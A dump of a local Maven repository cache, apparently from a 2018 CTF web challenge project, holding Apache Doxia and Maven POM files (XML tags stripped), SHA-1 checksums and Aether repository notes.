web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-fml/1.4/doxia-module-fml-1.4.jar.sha1 ================================================ d27851cfa0a355070acdc0482de3e94c0140b5db ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-fml/1.4/doxia-module-fml-1.4.pom ================================================ 4.0.0 doxia-modules org.apache.maven.doxia 1.4 ../pom.xml doxia-module-fml Doxia :: FML Module A Doxia module for FML source documents. FML format is only supported as source format. org.codehaus.plexus plexus-utils org.apache.maven.doxia doxia-test-docs test xerces xercesImpl 2.9.1 test org.codehaus.modello modello-maven-plugin descriptor generate-sources java src/main/mdo/fml.mdo 1.0.0 reporting org.apache.maven.plugins maven-antrun-plugin site run xsddoc xsddoc 1.0 ant ant org.apache.ant ant-apache-regexp 1.7.1 xalan xalan 2.7.1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-fml/1.4/doxia-module-fml-1.4.pom.sha1 ================================================ 90437de25862f0793b82ed02794633ef8a7cce7b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-markdown/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 doxia-module-markdown-1.4.jar>central= doxia-module-markdown-1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-markdown/1.4/doxia-module-markdown-1.4.jar.sha1 ================================================ 90c587acc8b13dea639ffeb43854165a6531a011 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-markdown/1.4/doxia-module-markdown-1.4.pom ================================================ 4.0.0 org.apache.maven.doxia doxia-modules 1.4 ../pom.xml doxia-module-markdown Doxia :: Markdown Module A Doxia module for Markdown source documents. Julien Nicoulaud julien.nicoulaud@gmail.com +1 http://www.twitter.com/nicoulaj org.pegdown pegdown 1.2.1 org.apache.maven.doxia doxia-module-xhtml org.codehaus.plexus plexus-utils ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-markdown/1.4/doxia-module-markdown-1.4.pom.sha1 ================================================ 24752d9a71235113ead7366fc16d087973583cf9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xdoc/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 doxia-module-xdoc-1.4.jar>central= doxia-module-xdoc-1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xdoc/1.4/doxia-module-xdoc-1.4.jar.sha1 ================================================ cf7d317034a3c8ab170076a4f82f6371ca5e6791 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xdoc/1.4/doxia-module-xdoc-1.4.pom ================================================ 4.0.0 doxia-modules org.apache.maven.doxia 1.4 ../pom.xml doxia-module-xdoc Doxia :: XDoc Module A Doxia module for Xdoc source documents. Xdoc format is supported both as source and target formats. org.codehaus.plexus plexus-utils org.apache.maven.doxia doxia-test-docs test xerces xercesImpl 2.9.1 test org.apache.maven.plugins maven-surefire-plugin org/apache/maven/doxia/module/xdoc/XmlWriterXdocSinkTest.java reporting org.apache.maven.plugins maven-antrun-plugin site run xsddoc xsddoc 1.0 ant ant org.apache.ant ant-apache-regexp 1.7.1 xalan xalan 2.7.1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xdoc/1.4/doxia-module-xdoc-1.4.pom.sha1 ================================================ e2df0753311a295cfbf6e18894b17b5d1c02b5f8 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xhtml/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 doxia-module-xhtml-1.4.jar>central= doxia-module-xhtml-1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xhtml/1.4/doxia-module-xhtml-1.4.jar.sha1 ================================================ 109b0b6b49fdd166b036c7fce93393fa98002c66 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xhtml/1.4/doxia-module-xhtml-1.4.pom ================================================ 4.0.0 doxia-modules org.apache.maven.doxia 1.4 ../pom.xml doxia-module-xhtml Doxia :: XHTML Module A Doxia module for Xhtml source documents. Xhtml format is supported both as source and target formats. org.codehaus.plexus plexus-utils ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-module-xhtml/1.4/doxia-module-xhtml-1.4.pom.sha1 ================================================ 98902234bd791acb345e987a0513b25daf061196 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-modules/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:54 CST 2018 doxia-modules-1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-modules/1.4/doxia-modules-1.4.pom ================================================ 4.0.0 doxia org.apache.maven.doxia 1.4 ../pom.xml doxia-modules Doxia :: Modules pom Doxia modules for several markup languages. doxia-module-apt doxia-module-confluence doxia-module-docbook-simple doxia-module-fml doxia-module-fo doxia-module-itext doxia-module-latex doxia-module-rtf doxia-module-twiki doxia-module-xdoc doxia-module-xhtml doxia-module-markdown org.apache.maven.doxia doxia-core org.apache.maven.doxia doxia-sink-api org.codehaus.plexus plexus-component-annotations org.apache.maven.doxia doxia-core test-jar test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-modules/1.4/doxia-modules-1.4.pom.sha1 ================================================ 4a72322c7c467a8a4b67993c2d0eee076a294c7c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:59 CST 2018 doxia-sink-api-1.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.0/doxia-sink-api-1.0.pom ================================================ 4.0.0 doxia org.apache.maven.doxia 1.0 ../pom.xml doxia-sink-api Doxia :: Sink API Doxia Sink API. ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.0/doxia-sink-api-1.0.pom.sha1 ================================================ 5d842372fdb4c42d78824141f7be4c0d541c983f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.0-alpha-7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 doxia-sink-api-1.0-alpha-7.jar>central= doxia-sink-api-1.0-alpha-7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.0-alpha-7/doxia-sink-api-1.0-alpha-7.jar.sha1 ================================================ 68464d54384c35119c70684d5d609b64635d1bbd ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.0-alpha-7/doxia-sink-api-1.0-alpha-7.pom ================================================ doxia org.apache.maven.doxia 1.0-alpha-7 4.0.0 doxia-sink-api Doxia Sink API 1.0-alpha-7 deployed ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.0-alpha-7/doxia-sink-api-1.0-alpha-7.pom.sha1 ================================================ d8e08f33563f684917311978da2ff03a9d0022ab ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:47 CST 2018 doxia-sink-api-1.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.1/doxia-sink-api-1.1.pom ================================================ 4.0.0 doxia org.apache.maven.doxia 1.1 ../pom.xml doxia-sink-api Doxia :: Sink API Doxia Sink API. org.apache.maven.doxia doxia-logging-api reporting org.codehaus.mojo clirr-maven-plugin 2.2.2 1.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.1/doxia-sink-api-1.1.pom.sha1 ================================================ 0a73bb471bb8fe69ed25d59c348139e6afb834bc ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 doxia-sink-api-1.4.jar>central= doxia-sink-api-1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.4/doxia-sink-api-1.4.jar.sha1 ================================================ 3cfed174cabb086426a9043da49a70526ff40d16 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.4/doxia-sink-api-1.4.pom ================================================ 4.0.0 doxia org.apache.maven.doxia 1.4 ../pom.xml doxia-sink-api Doxia :: Sink API Doxia Sink API. org.apache.maven.doxia doxia-logging-api ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sink-api/1.4/doxia-sink-api-1.4.pom.sha1 ================================================ a613738017689a91136272266089def6a2b3db49 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-site-renderer/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 doxia-site-renderer-1.4.jar>central= doxia-site-renderer-1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-site-renderer/1.4/doxia-site-renderer-1.4.jar.sha1 ================================================ 91acd32a131407bccefd2971c1103c5d16002da2 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-site-renderer/1.4/doxia-site-renderer-1.4.pom ================================================ 4.0.0 org.apache.maven.doxia doxia-sitetools 1.4 ../pom.xml doxia-site-renderer Doxia :: Site Renderer The Site Renderer handles the rendering of sites, merging site decoration with document content. http://maven.apache.org/doxia/doxia-sitetools/doxia-site-renderer/ org.apache.maven.doxia doxia-core org.apache.maven.doxia doxia-logging-api org.apache.maven.doxia doxia-sink-api org.apache.maven.doxia doxia-decoration-model org.apache.maven.doxia doxia-module-apt test org.apache.maven.doxia doxia-module-confluence test org.apache.maven.doxia doxia-module-docbook-simple test org.apache.maven.doxia doxia-module-xdoc test org.apache.maven.doxia doxia-module-xhtml org.apache.maven.doxia doxia-module-fml org.codehaus.plexus plexus-i18n org.codehaus.plexus plexus-container-default org.codehaus.plexus plexus-velocity 1.1.7 commons-collections commons-collections org.codehaus.plexus plexus-component-api velocity velocity org.codehaus.plexus plexus-utils org.apache.velocity velocity 1.5 org.apache.velocity velocity-tools 2.0 commons-collections commons-collections 3.2.1 commons-io commons-io 1.4 test org.apache.maven.doxia doxia-core ${doxiaVersion} test-jar test net.sourceforge.htmlunit htmlunit 2.7 test reporting org.codehaus.mojo l10n-maven-plugin 1.0-alpha-2 de en es fr it ja nl pl pt_BR sv zh_CN ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-site-renderer/1.4/doxia-site-renderer-1.4.pom.sha1 ================================================ 467421ba1c1e1a64e5f201e72c777e5d97abf52d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sitetools/1.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:02:11 CST 2018 doxia-sitetools-1.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sitetools/1.3/doxia-sitetools-1.3.pom ================================================ 4.0.0 org.apache.maven maven-parent 21 ../../pom/maven/pom.xml org.apache.maven.doxia doxia-sitetools 1.3 pom Doxia Sitetools Doxia Sitetools generates sites, consisting of static and dynamic content that was generated by Doxia. http://maven.apache.org/doxia/doxia-sitetools/ 2005 Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://oldnabble.com/Maven---Users-f178.html http://markmail.org/list/org.apache.maven.users Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://old.nabble.com/Maven-Developers-f179.html http://markmail.org/list/org.apache.maven.dev Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-commits http://www.mail-archive.com/commits@maven.apache.org http://old.nabble.com/Maven---Commits-f15575.html http://markmail.org/list/org.apache.maven.commits Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://old.nabble.com/Maven---Issues-f15573.html http://markmail.org/list/org.apache.maven.issues Old Doxia Developer List (closed) http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/ http://www.mail-archive.com/doxia-dev@maven.apache.org http://www.nabble.com/Doxia---dev-f11816.html http://markmail.org/list/org.apache.maven.doxia-dev Old Doxia User List (closed) http://mail-archives.apache.org/mod_mbox/maven-doxia-users/ http://www.mail-archive.com/doxia-users@maven.apache.org http://www.nabble.com/Doxia---Users-f14483.html http://markmail.org/list/org.apache.maven.doxia-users Old Doxia Commits List (closed) http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/ http://www.mail-archive.com/doxia-commits@maven.apache.org http://markmail.org/list/org.apache.maven.doxia-commits Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://www.nabble.com/Maven---Issues-f15573.html http://markmail.org/list/org.apache.maven.issues Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://www.nabble.com/Maven-Announcements-f15617.html http://markmail.org/list/org.apache.maven.announces Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://www.nabble.com/Maven---Notifications-f15574.html http://markmail.org/list/org.apache.maven.notifications 2.0.4 doxia-decoration-model doxia-doc-renderer doxia-site-renderer scm:svn:http://svn.apache.org/repos/asf/maven/doxia/doxia-sitetools/tags/doxia-sitetools-1.3 scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia-sitetools/tags/doxia-sitetools-1.3 http://svn.apache.org/viewcvs.cgi/maven/doxia/doxia-sitetools/tags/doxia-sitetools-1.3 jira http://jira.codehaus.org/browse/DOXIASITETOOLS Jenkins https://builds.apache.org/job/doxia-sitetools/ apache.website scp://people.apache.org/www/maven.apache.org/doxia/doxia-sitetools ${project.version} 1.3 org.apache.maven.doxia doxia-logging-api ${doxiaVersion} org.apache.maven.doxia doxia-sink-api ${doxiaVersion} org.apache.maven.doxia doxia-core ${doxiaVersion} org.apache.maven.doxia doxia-module-apt ${doxiaVersion} org.apache.maven.doxia doxia-module-confluence ${doxiaVersion} org.apache.maven.doxia doxia-module-docbook-simple ${doxiaVersion} org.apache.maven.doxia doxia-module-fml ${doxiaVersion} org.apache.maven.doxia doxia-module-xdoc ${doxiaVersion} org.apache.maven.doxia doxia-module-xhtml ${doxiaVersion} org.apache.maven.doxia doxia-decoration-model ${projectVersion} org.codehaus.plexus plexus-container-default 1.0-alpha-30 org.codehaus.plexus plexus-i18n 1.0-beta-7 org.codehaus.plexus plexus-component-api org.codehaus.plexus plexus-utils 2.0.5 junit junit 3.8.2 test src/main/resources ${project.build.directory}/generated-site/xsd **/*.xsd org.apache.maven.plugins maven-release-plugin https://svn.apache.org/repos/asf/maven/doxia/doxia-sitetools/tags org.codehaus.mojo clirr-maven-plugin 1.1 maven-site-plugin scp://people.apache.org/www/maven.apache.org/doxia/doxia-sitetools-${project.version} org.codehaus.mojo clirr-maven-plugin verify check org/apache/maven/doxia/site/decoration/* reporting org.apache.maven.plugins maven-changes-plugin 2.6 false Type,Key,Summary,Resolution,Assignee 1000 true Key jira-report org.apache.maven.plugins maven-jxr-plugin 2.3 non-aggregate jxr aggregate aggregate org.apache.maven.plugins maven-javadoc-plugin 2.8 non-aggregate javadoc aggregate aggregate ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sitetools/1.3/doxia-sitetools-1.3.pom.sha1 ================================================ 3564c1392c7dee9b6b99015fcc96813206266570 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sitetools/1.4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:02 CST 2018 doxia-sitetools-1.4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sitetools/1.4/doxia-sitetools-1.4.pom ================================================ 4.0.0 org.apache.maven maven-parent 23 ../../pom/maven/pom.xml org.apache.maven.doxia doxia-sitetools 1.4 pom Doxia :: Sitetools Doxia Sitetools generates sites, consisting of static and dynamic content that was generated by Doxia. http://maven.apache.org/doxia/doxia-sitetools/ 2005 Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://oldnabble.com/Maven---Users-f178.html http://markmail.org/list/org.apache.maven.users Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://old.nabble.com/Maven-Developers-f179.html http://markmail.org/list/org.apache.maven.dev Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-commits http://www.mail-archive.com/commits@maven.apache.org http://old.nabble.com/Maven---Commits-f15575.html http://markmail.org/list/org.apache.maven.commits Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://old.nabble.com/Maven---Issues-f15573.html http://markmail.org/list/org.apache.maven.issues Old Doxia Developer List (closed) http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/ http://www.mail-archive.com/doxia-dev@maven.apache.org http://www.nabble.com/Doxia---dev-f11816.html http://markmail.org/list/org.apache.maven.doxia-dev Old Doxia User List (closed) http://mail-archives.apache.org/mod_mbox/maven-doxia-users/ http://www.mail-archive.com/doxia-users@maven.apache.org http://www.nabble.com/Doxia---Users-f14483.html http://markmail.org/list/org.apache.maven.doxia-users Old Doxia Commits List (closed) http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/ http://www.mail-archive.com/doxia-commits@maven.apache.org http://markmail.org/list/org.apache.maven.doxia-commits Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://www.nabble.com/Maven---Issues-f15573.html http://markmail.org/list/org.apache.maven.issues Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://www.nabble.com/Maven-Announcements-f15617.html http://markmail.org/list/org.apache.maven.announces Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://www.nabble.com/Maven---Notifications-f15574.html http://markmail.org/list/org.apache.maven.notifications 2.0.4 doxia-decoration-model doxia-doc-renderer doxia-site-renderer scm:svn:http://svn.apache.org/repos/asf/maven/doxia/doxia-sitetools/tags/doxia-sitetools-1.4 scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia-sitetools/tags/doxia-sitetools-1.4 http://svn.apache.org/viewcvs.cgi/maven/doxia/doxia-sitetools/tags/doxia-sitetools-1.4 jira http://jira.codehaus.org/browse/DOXIASITETOOLS Jenkins https://builds.apache.org/job/doxia-sitetools/ apache.website scm:svn:https://svn.apache.org/repos/infra/websites/production/maven-doxia/content/${maven.site.path} 1.4 doxia-sitetools-archives/doxia-sitetools-LATEST Michael Osipov org.apache.maven.doxia doxia-logging-api ${doxiaVersion} org.apache.maven.doxia doxia-sink-api ${doxiaVersion} org.apache.maven.doxia doxia-core ${doxiaVersion} org.apache.maven.doxia doxia-module-apt ${doxiaVersion} org.apache.maven.doxia doxia-module-confluence ${doxiaVersion} org.apache.maven.doxia doxia-module-docbook-simple ${doxiaVersion} org.apache.maven.doxia doxia-module-fml ${doxiaVersion} org.apache.maven.doxia doxia-module-xdoc ${doxiaVersion} org.apache.maven.doxia doxia-module-xhtml ${doxiaVersion} org.apache.maven.doxia doxia-decoration-model ${project.version} org.codehaus.plexus plexus-container-default 1.0-alpha-30 org.codehaus.plexus plexus-i18n 1.0-beta-7 org.codehaus.plexus plexus-component-api org.codehaus.plexus plexus-utils 3.0.10 org.codehaus.plexus plexus-component-annotations 1.5.5 org.codehaus.plexus plexus-component-annotations junit junit 3.8.2 test src/main/resources ${project.build.directory}/generated-site/xsd **/*.xsd org.apache.maven.plugins maven-release-plugin https://svn.apache.org/repos/asf/maven/doxia/doxia-sitetools/tags true org.codehaus.mojo clirr-maven-plugin 1.1 org.apache.maven.plugins maven-scm-publish-plugin ${project.build.directory}/staging ${maven.site.cache}/doxia/${maven.site.path} true org.codehaus.plexus plexus-component-metadata generate-metadata org.codehaus.mojo clirr-maven-plugin verify check org/apache/maven/doxia/site/decoration/* reporting org.apache.maven.plugins maven-changes-plugin 2.6 false Type,Key,Summary,Resolution,Assignee 1000 true Key jira-report org.apache.maven.plugins maven-jxr-plugin 2.3 non-aggregate jxr aggregate aggregate org.apache.maven.plugins maven-javadoc-plugin 2.8 Doxia Document Renderer org.apache.maven.doxia.docrenderer* Doxia Site Renderer org.apache.maven.doxia.siterenderer* Doxia Decoration Model org.apache.maven.doxia.site.decoration* non-aggregate javadoc aggregate aggregate ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sitetools/1.4/doxia-sitetools-1.4.pom.sha1 ================================================ 09cf8365031618c2d39ea0118e1a75be6ba18b66 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-tools/2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:02:00 CST 2018 doxia-tools-2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-tools/2/doxia-tools-2.pom ================================================ 4.0.0 org.apache.maven maven-parent 22 ../../../pom/maven/pom.xml org.apache.maven.doxia doxia-tools 2 pom Doxia Tools A set of tools for working with Doxia documents. http://maven.apache.org/doxia/doxia-tools/ 2005 Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://oldnabble.com/Maven---Users-f178.html http://markmail.org/list/org.apache.maven.users Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://old.nabble.com/Maven-Developers-f179.html http://markmail.org/list/org.apache.maven.dev Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-commits http://www.mail-archive.com/commits@maven.apache.org http://old.nabble.com/Maven---Commits-f15575.html http://markmail.org/list/org.apache.maven.commits Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://old.nabble.com/Maven---Issues-f15573.html http://markmail.org/list/org.apache.maven.issues Old Doxia Developer List (closed) http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/ http://www.mail-archive.com/doxia-dev@maven.apache.org http://www.nabble.com/Doxia---dev-f11816.html http://markmail.org/list/org.apache.maven.doxia-dev Old Doxia User List (closed) http://mail-archives.apache.org/mod_mbox/maven-doxia-users/ http://www.mail-archive.com/doxia-users@maven.apache.org http://www.nabble.com/Doxia---Users-f14483.html http://markmail.org/list/org.apache.maven.doxia-users Old Doxia Commits List (closed) http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/ http://www.mail-archive.com/doxia-commits@maven.apache.org http://markmail.org/list/org.apache.maven.doxia-commits Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://www.nabble.com/Maven---Issues-f15573.html http://markmail.org/list/org.apache.maven.issues Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://www.nabble.com/Maven-Announcements-f15617.html http://markmail.org/list/org.apache.maven.announces Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://www.nabble.com/Maven---Notifications-f15574.html http://markmail.org/list/org.apache.maven.notifications scm:svn:http://svn.apache.org/repos/asf/maven/doxia/doxia-tools/tags/doxia-tools-2 scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia-tools/tags/doxia-tools-2 http://svn.apache.org/viewvc/maven/doxia/doxia-tools/tags/doxia-tools-2 jira http://jira.codehaus.org/browse/DOXIATOOLS Jenkins https://builds.apache.org/job/doxia-tools/ apache.website scp://people.apache.org/www/maven.apache.org/doxia/doxia-tools ${project.version} org.codehaus.plexus plexus-container-default 1.0-alpha-30 org.codehaus.plexus plexus-utils 2.0.5 org.codehaus.plexus plexus-component-annotations 1.5.5 org.apache.maven.plugins maven-release-plugin https://svn.apache.org/repos/asf/maven/doxia/doxia-tools/tags maven-site-plugin scp://people.apache.org/www/maven.apache.org/doxia/doxia-tools/${project.artifactId}-${project.version} org.codehaus.plexus plexus-component-metadata generate-metadata reporting org.apache.maven.plugins maven-jxr-plugin non-aggregate jxr aggregate aggregate org.apache.maven.plugins maven-javadoc-plugin non-aggregate javadoc aggregate aggregate org.codehaus.mojo cobertura-maven-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-tools/2/doxia-tools-2.pom.sha1 ================================================ c13f811b01d98631ebe9131b63aeb6bded234aff ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.0.6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:23 CST 2018 maven-2.0.6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven/2.0.6/maven-2.0.6.pom ================================================ 4.0.0 org.apache.maven maven-parent 5 ../pom/maven/pom.xml maven pom Maven 2.0.6 Maven is a project development management and comprehension tool. Based on the concept of a project object model: builds, dependency management, documentation creation, site publication, and distribution publication are all controlled from the declarative file. Maven can be extended by plugins to utilise a number of other development tools for reporting or the build process. http://maven.apache.org jira http://jira.codehaus.org/browse/MNG 2001 Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://www.nabble.com/Maven---Users-f178.html scm:svn:https://svn.apache.org/repos/asf/maven/components/tags/maven-2.0.6 scm:svn:https://svn.apache.org/repos/asf/maven/components/tags/maven-2.0.6 https://svn.apache.org/repos/asf/maven/components/tags/maven-2.0.6 maven-release-plugin https://svn.apache.org/repos/asf/maven/components/tags org.codehaus.modello modello-maven-plugin 1.0-alpha-13 site-docs pre-site xdoc xsd standard java xpp3-reader xpp3-writer maven-artifact maven-artifact-manager maven-artifact-test maven-core maven-error-diagnostics maven-model maven-monitor maven-plugin-api maven-plugin-descriptor maven-plugin-parameter-documenter maven-plugin-registry maven-profile maven-project maven-reporting maven-repository-metadata maven-script maven-settings junit junit 3.8.1 test 2.0.6 org.apache.maven maven-model ${mavenVersion} org.apache.maven maven-project ${mavenVersion} org.apache.maven.reporting maven-reporting-api ${mavenVersion} org.apache.maven maven-repository-metadata ${mavenVersion} org.apache.maven maven-artifact ${mavenVersion} org.apache.maven 